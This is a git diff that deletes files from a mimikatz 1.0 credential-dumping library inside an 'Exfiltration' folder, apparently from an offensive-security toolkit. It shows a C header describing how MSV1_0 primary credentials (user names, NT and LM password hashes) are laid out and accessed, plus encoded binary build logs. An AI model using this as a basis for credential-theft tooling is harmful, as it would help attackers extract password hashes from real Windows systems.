a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h deleted file mode 100644 index e9afd03..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h +++ /dev/null @@ -1,28 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../sekurlsa.h" - -#define MSV1_0_PRIMARY_KEY "Primary" -extern DWORD MSV1_0_MspAuthenticationPackageId; - -typedef struct _MSV1_0_PRIMARY_CREDENTIAL { - LSA_UNICODE_STRING LogonDomainName; - LSA_UNICODE_STRING UserName; - BYTE NtOwfPassword[0x10]; - BYTE LmOwfPassword[0x10]; - BOOLEAN NtPasswordPresent; - BOOLEAN LmPasswordPresent; - wchar_t BuffDomaine[MAX_DOMAIN_LEN]; - wchar_t BuffUserName[MAX_USERNAME_LEN]; -} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; - -void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); - -NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); -NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); -NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog deleted file mode 100644 index af1843d70b3ad3f14780e0dcdacaee84f22598d8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 365578 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 diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog deleted file mode 100644 index 662e27d976972d290ba108ac28eea4b3448e3d04..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 17846 zcmeI3ZBH6O5P;`%lm3Us@3z{0GwBC}<9bnE!iyjwy&#oJsz}t@(jVXUncYJ`!Juv8 z0h0^t?datI+EG213AQh=13*?X^kS21KMN%Lw zQa^*dO};2cv^YSzO_`QQtExYnob|}fxs=!f4Lz@-_@;S5|Ql8~%WqB>H ztF;5UrNuX- zYOR*{$#tmli*n6POD5K;9ha0{aNPm6q{F5QZ2E#l=lq`Q#Htp*L9H85cFyN3AI&%9 zLy|W6?J6m8pM2_Dl+fYxqohViZ>S{4cZ0iEM92F(NzwJ!K0O%T$;$LYhF*yz#xJ}V zMO>*UAL;qAt~k+_qohHLiM&p(f?oByv9yYw1Flj*rrKlj>W?KPwVBr5#@W`f^RUSI zoBG#StNPunG?ct64e4cnhYIM|`eAaFP)07_!@u^Vhu>V|Ia|#AZfUv8)3n1gGo#oIgw7PmHFq@m@shv#1^A18#fx)jBA_4wZ)`JE7>CA z7<(StO?bOXht+6nh|YYq&ANcFH5sS#>4x> zj~P;372@B3-hWd+ekVGKJ+ssfh(-&vEE@A{bZVp14IiEUf0C>w8Fh7)u89lXx}+Ls z77fshATAXNcqQ!~NnUB*MyZIzp4KjNBb#IXFVLN7Li>^M*x*cd?GAmhtkw@&4iQPUK z+grBWem9FAEqdJS=<#3JvYzyelO4f+FR;a(7I#|QX>sQ=apzN6x|lSpL)Pg%>&8lB OrLodjxhyLevEwgs2C32j diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ -ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b..0000000 --- a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ -ÿþ \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog deleted file mode 100644 index 8bfc48555675b959239df7d776b184ec93b110b7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4788 zcmds*-%k@k5Xa})#Q&k;#U~EY#26AE+UtRp{ zm-@&xmvVcv-<_SAotd5C_peVD+Mb=-fi>*N-rBL%_=>G#J&UYs3AD(XJdvG17p-9} z-fi$z=%;+Q?L8|Fp>8v$`37HA5FeRerEJ@-1@@eoCb$|LtGvZGV!u;<5vz}(G#OW+ z^q6bgOMAgMgdSNPu2pCO`_}B8{Vbgx(kMjw1KzTIr^LD(avB}ZM4nRK6Y)Cq(Is;F zbnU|iXcH4BisQ&dRQXRQCR&t-HbIjvQ4^v|!c%^I65=HxlPP-2uZ{FLL7Osbl5j8Y zTA#aiGqmXE)rhY{%Bz#Anli_TZWCXJ9hEwBtyY?4_Ne8WIdD~SVo&Xf?QmLMo{sw) zx$3@4X4|9k?C^`M0;WTKAllYLB|Wk`yRxr#PSqXTt$nkhrJVN_?=eqg_cnF3k=^i~ zfIow-j$mRlR$N0>N1*u;UuPhGFt4vg%Df}!F*C_4{fyPu?4QCjV{Kp;Zr?2@udkog z3oLdcUMJ}z-J1Lk_*IZo9Hwv&;4wm{3Y4J@9Dj8dbNU(k%yRVdOor}b?6Asd2N~3j zG;AMvbO%a;7Ptv}U9wMx=KGAtjAi5h(K7%qo6734?*-qo;1F4FR(N}xtV(f=RO;`x z+`cnbj_r*-V{Nu{Mk%xkmKcE_@JQawAuqwo`a=+YkC-~Y_Q?HYimlFbc@x*uF4iV{ zc|TdlGkTns_x{*rJS_r z|JQi)Ehi@L3>cl;7nipdF&@!(aiDQ(-`8TN_-^WaS2<)IXXOTEv-P-?{r|?uI&_Ad ziv1yyufqy;54H$5KnrC7ANxfp<%|Imes;O%j!_X(8L?O@pB=U19U2tzxM6PgP-7OI U-5k@;Zx4TO6mk7G^Upc|0g|5P#sB~S diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog deleted file mode 100644 index a090f0257c96c9878ee81af4ad1eac321c070882..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8124 zcmds+(T5QgWvN#9{F+lw{3-K1@Lhrn7Yf)T`RW9p0a+1q|UN2?;+#MCSuLln-O z1I*8yIcNTvUq8QFY@cjx6U(f&&$hHNt+|!9veXty@h;X?mVf$1(G$jgl*SZLhYG@f?YwO-0)?yRk?1QAPC?*Kb(q zKH7VGOMIpo{8h{TYLbk|)Ckw4;ZSHA%dy2gu_%@9J`c~e>*!*pIh z-d|PdR)aRGw9~!z%CS1NIw-1F0*k7-qK@E(ReGdt7$3j~>_$&Ku?1b>Gk=8@81aJt z6j^DlOjmen#^uZyXl>redINXl={-nIKY$$YHM-F?{Q^9yWYz$dv2Lyhy}9FIj0)a< zLu=o@b%sIAxUo=yYU@?L$jo(vvj>ToRXm zK8buu>|~Zb{@EChBWye~Nz~=FMr!RcSd3q4WY!^mIhm^QoFi6EW*xS3y>p!^P0xSS zPtBZ7Dmm#=7iU$*-$AV(e@-EPaml8Wiq(#O(vc;$or6rT%qNygcUV>@ GEjFL7YW)ZR diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog deleted file mode 100644 index a61d64e0868a4c07e418cb8e00a9363f945a6f37..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 958 zcmaiySx>@H5QWdPiT|O&7kvP?#29?4ShTTVBbzae2`DN73TbhP@wcnrTye$3kaF*w zIWu!+=DxmMsG_nG9V%2)M`~#wE7plR3UsOlSfGespfhm8Le)6y@O|(EyRJ47$Dl=g z<`1!a80YwZBSmehqzya~ynQnIoR&ABUcwg;-2#cY`yd^Bb!}_w4{u2a@FFrAr%CLo z(|3Sv3IaSeZguRctI*W*yz3b53B8+wnmqg=nM{SJRr=l4j@GDY9aJ2*0l!LCkB&ol zEg~bV23QLvA%2hkHs&3+iF=<=1)ebim+z;Z1Ux3zr&FIge`#LUlGc@Kq7mN>pND;~ zzB2W&a&Cr9bf=l7?mq*|9g^vids&6geGg#W!s?+XhV$SuHNg5*7@^^jES7zsF=q%e=5^-W z$;bPvQax$VTA5lst5brtQLUYvwraqf3Ld9DxM7(}z7_E?_<&uhCnE=);WK}R6%+A- ze~QdBSEvY2L0m$`n6K4!^c#2`*&Rs1IR@F`t8}ZIGu}{3;tDESOiS+8^IKvY1Ba*N zRAH}thgNTgsW-&d%x(-y1^6>68H+$y%=@5)uIXtLq&~JGenr)Qi8JClG7GE*tb<90 zKVZJ-Fkw&Ls8C9rML1vYJD&l3LvGBZF@4T)zSPCPWr6S*zxCQx z-V>qU>9asnQ!&v|i)q!7xl5QL|W#5=eQ1&9zSLUf0Hz$xb+`3IxO%9HTygl`=;iCmI!X1c5{#`fe%bF7m1$9yVIMN?6d^wsBO?6nVOI|pzG+2R1H{%lK`KPZ!;yl k(D(g?Qgo*9@@<0zITF(e@skrd1j^y|y>L|T;lh~eYTJ>PfV 